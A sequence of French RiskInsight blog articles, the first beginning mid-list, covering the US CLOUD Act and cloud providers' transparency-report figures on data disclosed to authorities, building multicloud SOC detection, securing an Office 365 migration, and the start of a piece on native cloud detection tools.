  • Entreprises étrangères situées en dehors des États-Unis mais fournissant des services aux États-Unis avec suffisamment de contact, en fonction de la nature, de la quantité et de la qualité des contacts de l’entreprise avec les États-Unis (promotion auprès de clients américains, sollicitation d’affaires auprès d’entreprises américaines, utilisation par des clients américains, etc.)

Outre le champ d’application évident de la définition du RCS et de l’ECS (fournisseurs d’e-mails, sociétés de téléphonie mobile, plateformes de médias sociaux, services de stockage en nuage, etc.), de nombreux logiciels et fournisseurs utilisés dans la plupart des SI entrent dans le champ d’application du C.L.O.U.D Act :

• • Toute la suite Microsoft Office (Outlook, Skype).
  • Appareils et services de sécurité et de réseau (proxies, pare-feu, anti-malware, etc.) fournis par des entreprises américaines (ex. : Symantec, Pulse, Citrix, etc.).
  • Logiciels d’entreprise qui traitent des données pour le compte d’entreprises ou citoyens américains (ex. : ordres de paiement).

Sur les SI On Premise, le C.L.O.U.D ACT s’applique toujours

Le C.L.O.U.D Act a un périmètre plus large que ce qu’il pourrait laisser penser et une implémentation onpremise peut donner une fausse perception de protection. Voici deux exemples de la manière dont les données peuvent être récupérées ou transmises :

1. Flux techniques sortants 

De nombreux logiciels communiquent by-design avec l’infrastructure du fournisseur (rapports d’erreurs et d’utilisateurs, données de télémétrie). La plupart des flux sortants sont chiffrés via HTTPS mais les fournisseurs ne communiquent généralement pas sur le contenu des données envoyées ni ne précisent la destination et, dans la plupart des cas, ces flux sortants sont nécessaires à l’utilisation du service et ne peuvent être désactivés.

=> Les autorités américaines peuvent récupérer les données souhaitées pour le C.L.O.U.D Act telles que les identifiants individuels

2. Equipes de support étrangères (third-party support)

Certaines équipes de support, localisées à l’étranger, effectuent leur service à distance, obligeant les fournisseurs à leur donner accès à aux données dans le monde entier (y compris le territoire américain).

Pour de nombreux logiciels, les fournisseurs de Cloud contractualisent avec des équipes de support étrangères qui peuvent être basées aux Etats-Unis ou sous juridiction américaine.

=> Le fournisseur ou le tiers peut être contraint de transmettre les données en cas de demande émanant des autorités américaines. 

Qu’en disent les fournisseurs de C.L.O.U.D ?

Les fournisseurs de Cloud assurent à leurs clients qu’ils ne divulgueront pas leurs données à moins d’y être obligés par la loi… ce qui est le cas s’ils sont contraints par le C.L.O.U.D Act… En cas de conflit de lois, comme avec le règlement GDPR, ces derniers assurent qu’ils prendront les mesures nécessaires pour s’opposer à la demande du gouvernement américain.

Certains d’entre eux vont même plus loin, en assurant que les clés de chiffrement utilisées pour sécuriser les données du client ou la possibilité de forcer le déchiffrement ne seront pas fournies. Pour l’instant, le C.L.O.U.D Act ne mentionne pas les clés de chiffrement ni l’obligation de fournir des données non chiffrées.

Deux fois par an, les fournisseurs de Cloud tels que Microsoft, Amazon et Google compilent dans des rapports le nombre et le détail des demandes qu’ils reçoivent des institutions du monde entier concernant la récupération de données clientes.  Les demandes émises par des organisme américains comprennent les demandes liées au C.L.O.U.D Act. Le détail des lois utilisées pour émettre les demandes n’est pas spécifiée, ce qui signifie que nous ne pouvons pas savoir quelle proportion des demandes est liée au C.L.O.U.D Act. 

Type de données récupérées

Les derniers rapports de Microsoft et Amazon, concernant les demandes entre juillet et décembre 2020 dans le monde, peuvent fournir plus d’informations sur le type de données demandées à Microsoft et Amazon (Google ne fournit pas d’informations concernant la distinction entre les données de contenu et les données hors contenu) :

% Content : ce que les clients créent, communiquent et stockent sur ou par le biais des services Cloud, comme le contenu d’un courriel ou les documents stockés sur OneDrive.

% Données sans contenu : Données autres que le contenu comprenant des informations basiques telles que l’adresse électronique, le nom, le pays et l’adresse IP au moment de l’inscription, l’historique des connexions IP ou les informations de facturation.

% Aucune donnée trouvée : les données requises par le mandat sont introuvables.

% Rejeté : impossible de divulguer les informations demandées (ne répondant pas aux exigences légales)

=> 40 % des demandes adressées à Microsoft n’aboutissent pas : aucune donnée n’est trouvée, ou la demande est rejetée.

=> La plupart des demandes adressées à Microsoft et à AWS qui aboutissent à la divulgation de données concernent des données non liées au contenu (principalement des données de connexion type IP, metadata, etc.).

Si on regarde de plus prêt …

Il est nécessaire de se plonger dans les rapports de Microsoft et de Google, car Amazon ne fournit pas autant de détails dans ses rapports. Les services Google concernés par les demandes sont Youtube, Gmail, Google Voice et Blogger. Les services Microsoft concernés par les demandes sont Outlook, Skype, O365, Xbox, AZURE, etc.

D’un point de vue géographique, nous pouvons identifier les pays qui sont les plus concernés par ces demandes pour le second semestre 2020 :

Microsoft

Google

• Seuls quelques pays sont concernés par la grande majorité des demandes :
  • Pour Microsoft : 6 pays ont été concernés par 900 requêtes ou plus au cours du 2éme semestre 2020, ce qui représente plus de 77% de l’ensemble des requêtes.
  • Pour Google : 11 pays ont été concernés par plus de 900 requêtes au cours du 2éme semestre 2020, ce qui représente plus de 90% du total des requêtes.
• Les autorités françaises se situent à la 4e place de chaque fournisseur en ce qui concerne l’émission de demandes :
  • Pour Microsoft 10% des demandes sont émises par les autorités françaises
  • Pour Google, 8% des demandes sont émises par les autorités françaises.

En outre, nous pouvons analyser le nombre de demandes qui aboutissent en prenant le nombre de données divulguées aux autorités et la proportion qu’elle représente par rapport au nombre total des demandes. Dans la suite de l’article, nous parlerons de « divulgation des données » dans le cadre d’une requête de données ayant abouti pour les autorités.

Microsoft

Google

• Le pourcentage de demandes des autorités qui conduisent à la divulgation de données est assez similaire pour Microsoft et Google et se situe entre 50 % et 75 % (Microsoft) et entre 55 % et 88 % (Google).
• Cependant, il existe quelques disparités en fonction des pays. Par exemple, les autorités françaises ont obtenu l’accès aux données dans 52 % des cas suite à leur demande pour Microsoft, alors qu’elles ont obtenu l’accès aux données dans83 % des cas suite à leur demande pour Google.

Au vu des données brutes, on peut conclure à première vue que la divulgation de données aux autorités est plus probable sur les services de Google que pour ceux de Microsoft. Une explication peut être le fait que les services Google s’adressent davantage aux particuliers qu’aux entreprises et que les services Google sont plus largement utilisés (Outlook 400 millions d’utilisateurs contre Gmail 1,5 milliard d’utilisateurs). En outre, les demandes des autorités sont émises dans le cadre d’affaires pénales qui sont plus susceptibles de concerner des particuliers, ce qui signifie que ces demandes seront plus susceptibles d’être envoyées à Google.

Prise de recul – Comment les demandes des autorités ont-elles évolué depuis 2013 pour Google et Microsoft ?

Si nous compilons les rapports depuis 2013, nous pouvons identifier les tendances concernant la divulgation des données suite à la mise en œuvre du C.LO.U.D. Act. 

Il convient de noter que dans le rapport de Microsoft, les demandes rejetées et les demandes approuvées mais pour lesquelles aucune donnée n’est découverte sont classées dans la catégorie « Demande de données n’entraînant aucune divulgation de données ».

• Le nombre total de demandes semble se stabiliser autour de 20k-25K par semestres depuis le second semestre 2016, idem pour les comptes/utilisateurs concernés, qui se situent autour de 40K-50K demandes.
• La distribution a tendance à évoluer, notamment en ce qui concerne les demandes rejetées :
  • Une petite partie concerne les données content, généralement environ 5% des demandes
  • Plus de la moitié sont des demandes de données non content
  • Une part à peu près égale de 15% chaque semestre est constituée de demandes pour lesquelles les données n’ont pas été trouvées
  • Les demandes rejetées ont augmenté depuis 2013 pour atteindre près d’un quart des résultats des demandes
  • Au total, plus de 40 % des demandes n’aboutissent pas à la communication de données aux autorités

Google

• Le nombre total de demandes est en croissance forte depuis 2018 pour atteindre plus d’une centaine de milliers de demandes durant son premier semestre. Cela peut s’expliquer par l’augmentation du nombre de pays qui sont inclus dans les rapports de Google (68 en 2013 contre 85 en 2020), l’omniprésence des services Google dans la vie individus, ainsi que la publication du C.L.O.U.D Act en 2018.
• L’évolution des demandes tend vers l’augmentation de la divulgation des données à partir de 2018 et de la publication du C.L.O.U.D Act. Cependant, depuis le début de la publication des rapports en 2013, le pourcentage de données divulguées a toujours été compris entre trois et quatre cinquième.

Conclusion

Après analyse de la situation globale, tous les fournisseurs de Cloud ne sont pas dans la même situation :

• Amazon ne fournit pas d’informations détaillées concernant l’emplacement des données divulguées ou le pourcentage de données divulguées sur l’ensemble des demandes.
• Google reçoit plus de demandes de la part des institution que Microsoft et divulgue plus souvent des informations que Microsoft, ce qui peut s’expliquer par le fait que les services de Google sont davantage destinés aux particuliers qu’aux entreprises.

Néanmoins, la décision de divulguer l’information est entre les mains des institutions juridiques et non des fournisseurs de Cloud (même s’ils peuvent contester la demande). Par conséquent, les fournisseurs de Cloud ne peuvent être tenus responsables de la quantité de données qu’ils divulguent aux autorités par contraintes légales.

De plus, même si nous comptons plusieurs milliers  de demandes légales concernant plusieurs dizaines de milliers d’utilisateurs, cela ne représente qu’une infime partie de la quantité totale de données traitées par les principaux fournisseurs de Cloud. les procédures d’accès aux données restent exceptionnelles. De plus, les demandes concernent principalement les logins et les métadonnées, il n’y a, pas de cas avéré d’espionnage industrialisé avec récupération massive de données.

Enfin, gardez à l’esprit que ces statistiques ne peuvent pas être contestées ou agrégées avec d’autres sources, il s’agit uniquement du bon vouloir des fournisseurs de Cloud de divulguer les données et les rapports, il faut donc les aborder avec précaution.

En tout cas, la notion de Cloud de confiance devient essentielle pour toutes les entreprises, les fournisseurs de Cloud ainsi que les autorités tendent à s’impliquer davantage sur le sujet comme en témoigne le nouveau partenariat entre Thales et Google pour construire une offre de Cloud souverain ou bien l’évolution prévue de la qualification SecNumCLOUD de l’ANSSI.

Cet article Le C.L.O.U.D Act. : Une manière de rendre les données « non-souveraines » ? est apparu en premier sur RiskInsight.

S’il y a 10 ans, construire son SOC revenait à se demander quels scénarios superviser, quelles sources de logs collecter et quel SIEM choisir, les évolutions récentes du SI proposent de nouveaux défis : comment mettre en place la supervision dans un environnement partiellement on-premise et/ou multicloud ? En effet, en 2021, avoir un SI hébergé chez plusieurs fournisseurs IaaS est plus proche de la règle que de l’exception ; et si AWS reste l’acteur le plus rencontré, les offres d’Azure et de GCP intéressent de plus en plus d’équipes IT.

Comment construire sa stratégie de détection ? Où positionner le ou les SIEM ? Comment centraliser les logs, les alertes ? D’ailleurs, faut-il des logs ou des alertes ? Et comment tirer parti des solutions managées proposées par les fournisseurs cloud ?

Dans cet article, nous discuterons de bonnes pratiques : utilisation d’une stratégie de détection bottom-up, optimisation via le choix des services natifs cloud les plus pertinents, simplification de l’architecture de collecte ; toujours basées sur des retours d’expérience de construction de stratégies de supervision multicloud.

(Re)penser sa stratégie de détection pour le multicloud

La première question que devrait se poser l’équipe en charge du SOC est celle de la stratégie de détection. Autrement dit, quels scénarios va-t-on superviser ?

Un bon réflexe cyber consiste à utiliser une approche dite « top-down » : partir d’une analyse de risques pour identifier les alertes à prioriser, les formaliser puis les traduire techniquement dans le SIEM. En pratique, trois facteurs démontrent que cette approche est insuffisante :

• Peu d’équipes disposent d’analyses de risques qui soient suffisamment exhaustives, à jour et pragmatiques pour permettre une déclinaison des scénarios de menaces en scénarios supervisables, en particulier pour des périmètres complexes comme le cloud public,
• Rien ne garantit que les scénarios obtenus par cette méthode puissent concrètement être mis sous supervision, que les limites soient liées aux solutions déployées ou à la nécessité pour les équipes SOC de disposer de connaissances métier.
• Cette approche définit quelques chemins d’attaques selon la criticité des actifs, mais ne couvre pas tous les chemins d’attaques qu’un attaquant pourrait emprunter.

De ce fait, une stratégie de détection multicloud efficace sera obtenue en complétant l’approche par les risques par une approche « bottom-up » : en partant des capacités de journalisation des solutions dont on dispose pour identifier les alertes que le SIEM devra remonter, pour enfin prioriser en se basant sur leur intérêt en termes de couverture des risques. Partir de l’existant garantit le pragmatisme et l’efficacité de la démarche.

Chez Wavestone, nous sommes de plus en plus sollicités par des clients souhaitant être accompagnés sur cette nouvelle approche. Le périmètre concerne les principales solutions utilisées en multicloud : Microsoft 365 (SaaS) et les solutions managées des offres IaaS des 3 principaux acteurs du marché : Amazon Web Services, Microsoft Azure et Google Cloud Platform.

Mettre en place la supervision de l’infrastructure Microsoft 365

Sur le papier, l’équipe SOC a toutes les clés en main pour monitorer son infrastructure cloud :

• Des logs bruts pour les services d’Office 365 (Teams, SharePoint Online, Exchange Online, etc.)
• Des logs bruts, rapports de sécurité, alertes et Identity Secure Score pour Azure AD
• Des logs bruts, alertes, Microsoft Secure Score et recommandations Azure pour les outils de sécurité comme ATP, AAD Identity Protection, Intune, AIP, etc.

En pratique, naviguer entre les logs et tous les outils mis à disposition (et leurs consoles) peut vite devenir un casse-tête. Et si nous entendons régulièrement qu’il y a trop de logs ou d’interfaces d’administration à maîtriser, sur le terrain les difficultés sont accentuées :

• Par les faibles capacités de personnalisation des outils natifs proposés,
• Par le manque de scénarios disponibles avec la licence achetée,
• Par la durée de rétention de 90 jours des logs,
• Par le manque général de compétences Office 365 ou AzureAD dans les équipes SOC.

Pour éviter de se perdre, nous conseillons de simplifier le terrain de jeu autant que possible. Les bonnes pratiques consistent à penser alertes, et pas collecte de logs, puis à centraliser leur gestion dans le SIEM en utilisant des connecteurs comme ceux de Security Graph API. A titre d’exemple, il est possible d’arriver à un modèle comme celui donné ci-dessous :

Une fois l’architecture identifiée, configurer une durée de rétention de logs adaptée aux besoins (au sein d’Azure ou à l’extérieur) et entreprendre l’adaptation des processus SOC aux spécificités de M365 selon les choix réalisés lors de l’étape précédente.

Mettre en place la supervision des autres cloud en IaaS

Afin de dessiner l’architecture de collecte sur ces clouds, il convient de distinguer les différents types de logs mis à disposition par les CSP.

Logs système

Le cas des logs système générés par les VM et les flux réseau peut être traité en premier ; il est possible de les collecter de la même manière qu’on-premise, avec des agents syslog, par exemple. Les infrastructures des CSP mettent à disposition des briques comme Log Analytics chez Azure pour faciliter la remontée.

Logs d’administration de l’infrastructure

On peut aussi envisager la supervision des opérations d’administration des composants « sensibles » de l’infrastructure (VPN, FW, scanner de vulnérabilités, etc.) comme on le ferait on-premise. En effet, la plupart de ces solutions disposent de leur pendant IaaS chez les fournisseurs cloud : elles s’obtiennent via la Marketplace et disposent de console d’administration web ou s’interfacent directement à la console de management du CSP (c’est par exemple le cas de l’appliance du scanner Qualys).

Logs des appels d’API

Enfin, les appels d’API réalisés par les processus/comptes sur l’infrastructure cloud et par les opérations d’administration génèrent des logs qui sont facilement récupérables via les services managés suivants :

• CloudTrail chez AWS
• Activity Log & Monitor chez Azure
• Audit Logging chez GCP

Pour éviter de se perdre, retenons la leçon suivante : « Utilisons et abusons des services natifs du cloud ». En effet, qui de mieux placé que le fournisseur pour proposer des services adaptés et intégrés au mieux à l’environnement ? En pratique, nous constatons qu’implémenter la gestion des logs et des alertes cloud dans un SIEM on-premise coûte cher (même en cherchant à limiter les coûts de stockage dans la solution de supervision) et est chronophage.

L’utilisation du cloud implique de passer à la philosophie du cloud : adoptons ses codes et domptons ses services et outils. L’occasion de renforcer les synergies entre les équipes cloud et le SOC !

En synthèse, un exemple d’architecture de monitoring sur AWS est proposé ci-dessous. Il présente plusieurs façons de réaliser la supervision, en s’appuyant sur des services natifs pour les logs et pour les alertes (NB : tous les flux vers S3 et d’autres services n’ont pas été représentés pour des raisons de lisibilité).

Définir l’architecture de centralisation des alertes multicloud

C’est l’une des questions qui nous est la plus posée : quelle architecture SIEM faut-il envisager en multicloud ? Si chaque contexte est différent, parce que chaque infrastructure IT dispose de legacy et d’un historique qui lui est propre, la présence d’autant de ressources et d’outils doit amener une équipe SOC à considérer l’adoption d’un SIEM dans le cloud central (comme Azure Sentinel, Splunk SaaS, etc. ; AWS et Chronicle de Google ne proposant pas à date de solution équivalente).

Pour aider les équipes SOC à choisir le scénario adapté, nos recommandations sont les suivantes :

• Privilégier le scénario à un seul SIEM central
• Limiter autant que possible le nombre de consoles de supervision cloud
• Remonter au maximum des alertes déjà préanalysées par les services natifs mis à disposition étudiés précédemment
• Tirer profit des synergies éventuelles entre produits du même fournisseur : Azure Sentinel pour monitorer l’infrastructure Microsoft 365 par exemple
• Tirer profit des nombreux connecteurs mis à disposition par les fournisseurs de SIEM cloud
• Etudier les impacts de chaque scénario sur l’organisation du SOC (taille des équipes, compétences technologiques, etc.) et les coûts associés (développements nécessaires, volumétrie et coûts d’ingestion, etc.)

Un exemple d’architecture reprenant l’ensemble des recommandations de cet article est proposé ci-dessous, il utilise Azure Sentinel comme SIEM cloud central.

Synthèse : les principes clés à adopter pour garder la tête au-dessus des nuages

En résumé, l’équipe SOC souhaitant adapter sa stratégie de détection au multicloud devrait :

• Compléter son approche classique top-down par l’approche bottom-up, particulièrement adaptée au contexte complexe du multicloud,
• Utiliser dès que c’est possible les services natifs mis à disposition par les fournisseurs afin de tirer pleinement parti des avantages du cloud,
• Simplifier l’architecture de collecte et centraliser au maximum des alertes préanalysées par les services natifs cloud,

Une fois la tête sortie du nuage, la stratégie formalisée et l’architecture de collecte déployée, le SOC retrouve bien sa place de tour de contrôle du SI : la prolifération des services dans le cloud ne lui fait plus peur !

Les prochaines étapes peuvent consister à étudier les possibilités d’automatisation, avec la mise en place d’un SOAR, par exemple. Nous ne manquerons pas de discuter du sujet dans un prochain article.

Cet article Adapter sa stratégie de détection au multicloud sans se perdre dans les nuages est apparu en premier sur RiskInsight.

Pour celles qui n’ont pas encore franchi le pas (principalement les ETI et le secteur public), il est essentiel de démarrer au plus vite une réflexion autour des plateformes de collaboration et de communication Cloud. Ceci, afin de pouvoir assurer une continuité du service en cas de force majeure (cyberattaque, catastrophe naturelle ou même pandémie), voire même d’envisager une migration plus conséquente.

Pour cette plateforme de Digital Workplace, une étroite collaboration entre équipe sécurité et workplace sera un prérequis !

Dans cet article, je souhaiterais vous faire part de quelques retours d’expérience concernant le déploiement d’Office 365, la solution de Microsoft qui tend à s’imposer chez les entreprises que nous accompagnons.

Il existe de nombreuses documentations intéressantes sur le sujet sur Internet (« Top 10 des bonnes pratiques » ou « 3 bonnes raisons de raccorder l’application xxx pour assurer votre sécurité… »). Microsoft résume une partie de ces bonnes pratiques dans ces deux articles :

• Feuille de route sécurité Microsoft : 30, 90 jours et au-delà
• 10 principales façons de sécuriser les données Office 365

Aujourd’hui, je ne veux pas refaire ici une liste non-exhaustive de ces bonnes pratiques mais plutôt vous rappeler six points d’attention lors d’une ouverture d’un tel service.

1/ Construire le standard de sécurité, pilier de la future relation entre les équipes sécurité et workplace

Comme pour tout projet de ce type, il faut commencer par évaluer le potentiel du service et voir comment il pourra répondre au besoin initial, via l’élaboration d’un business case. Les possibilités offertes par Office 365 sont multiples : bureautique, messagerie instantanée ou email, visualisation de données développement d’applications sans code, etc.

Côté équipes sécurité, deux choix se présentent : s’opposer à cette migration en raison des risques liés au Cloud américain ou accompagner la réflexion pour créer des nouveaux usages sécurisés.

Dans une grande majorité des cas, le second choix est préféré. Il débute alors une relation tripartite, entre les équipes workplace, la sécurité, les architectes, dont l’objectif sera de construire un service pour les utilisateurs. Un résultat de cette étape pourra être l’élaboration d’un standard de sécurité, issue d’une analyse de risques, définissant les services utilisés et avec la configuration associée.

Parmi les questions à traiter, on retrouve généralement les trois thématiques suivantes :

• Quels usages offrir à en situation de mobilité ? Moyennant quelle authentification ?
• Quels nouveaux services proposer avec les possibilités d’intégration avec les API ?
• Comment partager des documents avec des utilisateurs externes ?

La tendance actuelle consiste à apporter des réponses avec une approche « Zéro trust ». Tout écart au standard de sécurité défini devra être détecté, grâce à la mise en place de tableaux de bord et de la supervision. L’adage « La confiance n’exclut pas le contrôle » n’aura jamais eu autant de sens.

Cette réflexion pourra même être l’occasion de se reposer des questions fondamentales afin de poser des bases cohérentes pour l’environnement de travail. Par exemple, pourquoi laisser l’email, un système vieux de 30 ans, ouvert à tout va et bloquer à l’externe ma messagerie Teams et mes partages SharePoint ? L’amélioration de l’expérience utilisateur ne pourra se faire qu’avec l’uniformisation des pratiques de sécurité.

2/ La protection des données, un sujet avec le vent en poupe

En parallèle de la construction du service, vient le sujet des données qui seront utilisées dans le tenant. Pour le coup, deux questions simples doivent trouver des réponses (souvent complexes).

 Comment protéger mes données ?

Aujourd’hui, les stratégies de protection des données non structurées reposent sur une base commune : le rattachement d’une donnée à un niveau de sensibilité. Cette correspondance entraine des mesures de protection à mettre en place :

• Chiffrement avec des clés maîtrisées par le CSP ou l’organisation ;
• Restriction des droits (ou DRM) ;
• Accès conditionnel avec authentification multi-facteurs ;
• Data Leakage Protection (ou DLP).

Afin de ne pas surprotéger les données et ainsi, éviter de d’amoindrir l’expérience utilisateur, le chiffrement et la restriction des droits peuvent être réservées aux données les plus critiques. Les autres données resteront tout de même maîtrisées grâce à des mesures plus classiques, comme le chiffrement bout en bout et le contrôle du niveau d’exposition.

Un facteur clé pour un tel projet, sera d’en faire un véritable projet d’entreprise, avec un programme de sensibilisation complet dédié à la classification.

Le chiffrement et la restriction des droits peuvent être réservées aux données les plus critiques.

Comment rester conforme avec la réglementation ?

Une organisation peut être soumise à des réglementations locales, liées à ses implémentations, et sectorielles, en fonction de ses activités.

Ces réglementations et directives imposent dans certains cas de véritables obstacles qu’il convient de lever dès le début du projet : rétention des données, archivage légal, géolocalisation, enquête judiciaire, demandes liées à des données à caractère personnel.

Prenons un exemple concret : la Russie. Avec la loi sur les données à caractère personnel de 2015, l’autorité de régulation nationale impose de conserver la source (appelée base primaire) des données de ses citoyens sur le sol russe. En pratique, cela revient à dire que l’Active Directory (base primaire des identités de l’entreprise) de l’entité russe doit rester Russie. De là, les informations pourront être synchronisées avec la GAL (Global Access List) et Azure Active Directory.

Le Trust Center de Microsoft sera très utile pour cette étape.

 L’épineuse question de la gestion du stock

Que faire des données déjà existantes ? Il s’agit d’une problématique complexe, en particulier si l’ouverture d’une solution de collaboration Cloud est liée au décommissionnement des serveurs de fichiers existants.

Tout d’abord, il y a une question technique. Est-ce que le réseau de l’entreprise sera capable de supporter des migrations massives de .pst et de documents ? En particulier, il ne sera pas nécessairement utile de migrer des données qui ne seront pas conforme avec la politique de rétention.

Ensuite, les données historiques peuvent avoir une sensibilité hétérogène et être soumises à diverses réglementation. Un arbitrage sera nécessaire, afin d’arbitrer entre un maintien des données en local, une acceptation du risque et un projet large de classification avant ou après migration.

3/ Le Target Operating Model, garant du maintien de la sécurité dans le temps

Le modèle opérationnel d’un service comme Office 365 définit les responsabilités des acteurs (administrateurs, supports, etc.) et les principes de gestion des objets. Il est complémentaire au standard de sécurité évoqué précédemment, en apportant une vision plus opérationnelle.

Le TOM doit être rédigé préalablement à l’ouverture du service, et mis à jour régulièrement. Il doit inclure à minima les sujets suivants.

 Un modèle d’administration

Microsoft propose par défaut une cinquantaine de rôles d’administration, sans compter les rôles RBAC des services (ex : Exchange et Intune). Une utilisation pertinente de ces rôles et de rôles personnalisés permettra d’éviter d’avoir trop d’Administrateurs Généraux et de suivre le principe du moindre privilège. L’implémentation d’accès Just-in-Time permettra de plus de suivre l’usage réel des rôles, tout en renforçant la sécurité.

Une communauté mi-architecture / mi-sécurité

Comme toute plateforme SaaS, Microsoft fait évoluer régulièrement les fonctionnalités de sa suite collaborative. La mission de cette communauté sera de faire de la veille sur les tendances, afin de maîtriser les nouveaux usages et de garder le contrôle sur le tenant en tenant compte des évolutions.

Le cycle de vie des identités et des espaces partagés

Une gestion laissée libre des espaces partagés (Teams, SharePoint) peut entrainer une explosion du nombre d’espaces ne respectant pas le standard de sécurité. Les rapports des éditeurs de solution de Data Discovery sont assez frappants. Pour éviter cela, il est nécessaire de fixer un cycle de vie des espaces partagés. Ces règles peuvent inclure une convention de nommage, des politiques de rétention, une durée de vie, des principes quant à la gestion des droits.

La mise en place d’un portail unique pour la création de ces espaces permettra d’implémenter ces bonnes pratiques, tout en favorisant l’expérience utilisateur.

Les rapports des éditeurs de solution de Data Discovery sont assez frappants en ce qui concerne l’exposition des données en raison du manque de gouvernance.

De même, un cycle de vie pour les objets Azure AD (incluant utilisateurs invités, groupes de sécurité, groupes Office 365 et applications) doit être défini et outillé. Voici deux exemples qui méritent d’être traités : la délégation des API est laissé ouverte et laisse la porte à des fuites de données massives ; les utilisateurs invités à collaborer ne sont jamais supprimés. Pour cela, deux stratégies sont possibles :

1. Création d’un Custom Automation Engine décorrélé de l’IAM, via une application maison développée en PowerShell ;
2. Intégration d’un connecteur Powershell / Graph API à la solution IAM en place afin de présenter une gestion complète des objets en faisant abstraction de leur hébergement direct.

4/ Abordez le sujet de l’identité des utilisateurs avec un regard neuf

Pilier fondateur du SaaS, le sujet de l’identité doit être abordé avec un œil neuf afin de considérer toutes les possibilités et les risques des fournisseurs d’identités (ou IdP) SaaS. En particulier, il est impensable en 2020 de considérer Azure Active Directory comme un simple Contrôleur de domaine dans le Cloud.

Trois approches sont possibles pour la source des identités accédant à Office 365.

La dissociation des identités, un quick-win mais compliqué d’un point de vue utilisateur

Il est possible de dissocier les identités local et Cloud si l’AD local n’est plus disponible ou pour décorréler l’espace de travail Cloud du SI historique. Ce scénario n’est évidemment pas en faveur d’une expérience optimale, mais peut-être un atout précieux en cas de crise ou de compromission avérée du SI.

L’utilisation de l’identité locale dans le Cloud, une stratégie classique

Afin de concilier sécurité et expérience utilisateur, il est nécessaire d’utiliser la même identité entre les applications historiques et ce nouveau service. Pour cela, trois scénarios techniques sont disponibles :

• Fédération des identités : Cette solution historique est très largement utilisée par les grandes entreprises françaises frileuses à l’idée d’héberger les mots de passe dans le Cloud et souhaitant avoir du SSO ;
• Synchronisation des Hash des mots de passe (Password Hash Sync en anglais ou PHS) : Cette solution, recommandée par Microsoft et par l’équivalent britannique de l’ANSSI, est implémentée une grande majorité des clients de Microsoft. Cette solution peut également être utilisée en tant que dispositif de secours lorsque le service de fédération n’est plus disponible ;
• Authentification directe (Password Through Authentication ou PTA) : Cette solution apporte la meilleure expérience utilisateur mais a l’inconvénient de faire transiter le mot de passe par Azure AD.

Migrer son référentiel d’identité dans le Cloud, une vision à plus long terme

Avant ou après migration, il pourra être opportun d’envisager de migrer complètement la source des identités dans le Cloud (qu’il s’agisse d’Azure AD ou d’une solution tierce), afin de profiter des nouvelles possibilités. Il reste aujourd’hui plusieurs prérequis devant être levés, comme la gestion des imprimantes, des GPO et des terminaux.

5/ Ouvrir progressivement les services, pour favoriser une adoption maîtrisée

Il est toujours plus facile d’ouvrir un nouveau service que de revenir en arrière pour des raisons de sécurité. Ouvrir massivement les différents services de la suite collaborative a l’avantage d‘offrir un maximum de cas d’usages, mais peut provoquer plusieurs effets de bords.

Tout d’abord, les services non officiellement supportés et laissés à la main des utilisateurs à des fins de tests représentent un risque certain. Ils doivent être configurés et durcis. Dans certains cas, il peut même être préférable de désactiver les licences correspondantes.

Ensuite, un lancement maîtrisé des outils permettra de maîtriser les coûts pendant les premiers mois ou années de la transition. En effet, les licences Microsoft représentant une certaine charge, il est possible d’optimiser les licences non utilisées.

La conduite du changement est également un aspect clé à considérer ; pour favoriser l’expérience utilisateur certes, mais également pour favoriser sécurité des données. Il est essentiel d’avoir une feuille de route et un parcours utilisateur clairement définis. Une adoption accompagnée permettra de poser les bases d’une gouvernance propre des espaces partagés et des données (tant en termes d’exposition que de protection).

Il sera utile d’envisager de créer une communauté d’évangélistes et d’utilisateurs afin de conserver une dynamique dans l’adoption des nouvelles fonctionnalités apportées par Microsoft. Un système de uservoice pourrait être un atout ; l’idéal étant d’être à l’écoute des besoins des utilisateurs et prioriser en fonction les prochaines ouvertures.

6/ Les licences, nerf de la guerre d’Office 365 et de la sécurité

Les solutions SaaS sont généralement soumises à un modèle de licences facturées mensuellement. Le choix des licences Microsoft 365 doit être le fruit une réflexion globale. Il ne peut rester l’apanage des équipes workplace, et être déterminé par le seul besoin de collaboration et de communication.

En effet, le choix du niveau de licensing conditionnera la stratégie de sécurisation du tenant. Ce choix aura plus largement des impacts sur la stratégie de sécurisation de l’environnement de travail.

Microsoft se positionne de plus en plus comme challenger des fournisseurs de solutions sécurité, étant le seul à proposer une suite aussi complète.

Le licensing des options sécurité est à traiter dès le début du projet, et à chaque renouvellement. Il sera moins onéreux d’inclure un paquet de licences dès le départ que de commander en urgence des licences AAD P1 pour en urgence du MFA.

Dans cette stratégie à définir, il pourra être opportun de cibler des personae pour adapter les exigences de sécurité à leur profil (VIP, admin, population médicale, etc.), via une approche par les risques.

Cette démarche, présentée ici pour Office 365, peut être généralisée à tout service SaaS (Solution as a Service), voire service IaaS (Infrastructure as a Service) ou PaaS (Platform as a Service).

Cet article Comment migrer son environnement de travail sereinement vers Office 365 est apparu en premier sur RiskInsight.

L’année dernière, j’ai eu la chance de travailler avec différentes organisations dans leur transformation du Cloud, et chacune d’elles a fourni à notre équipe de consultants Wavestone des idées et des leçons clés sur ce que les systèmes de détection basés sur le Cloud peuvent et ne peuvent pas apporter à une organisation.

Au cours de cette année, j’ai eu la chance de travailler avec différentes organisations dans leur transformation Cloud, et chacune d’entre elles a fourni à notre équipe de consultants Wavestone des retours d’expériences et des leçons clés sur ce que les systèmes de détection basés sur le Cloud peuvent et ne peuvent pas apporter à une organisation.

Pour cet article, gardez à l’esprit que nous considérerons tout changement de configuration conduisant à une dégradation du niveau de sécurité comme un incident. Bien qu’il ne corresponde peut-être pas à la définition exacte et habituelle d’un incident de sécurité, la mauvaise configuration d’un service public cloud (où les ressources et les données peuvent être directement accessibles par Internet) est un problème trop grave pour ne pas donner lieu à une alerte immédiate sur la sécurité du système d’information.

Embrassez les victoires rapides

Lorsque vous utilisez le Public Cloud des principaux fournisseurs (Amazon Web Services, Microsoft Azure et Google Cloud Platform), il est assez facile d’activer les fonctionnalités de détection natives et de d’obtenir une capacité de détection basique mais efficace. La plupart des éditeurs fournissent une plateforme de sécurité centrale qui vous permettra de détecter les erreurs de configuration  sur l’infrastructure que vous avez déployée, d’évaluer votre niveau de conformité par rapport à une norme donnée et de lever certaines alertes lorsque les incidents les plus typiques se produiront (voir plus loin). Il n’y a pratiquement aucune raison de passer sur ces fonctionnalités, qui sont parfois gratuites à activer (que ce soit pour un essai ou de manière permanente).

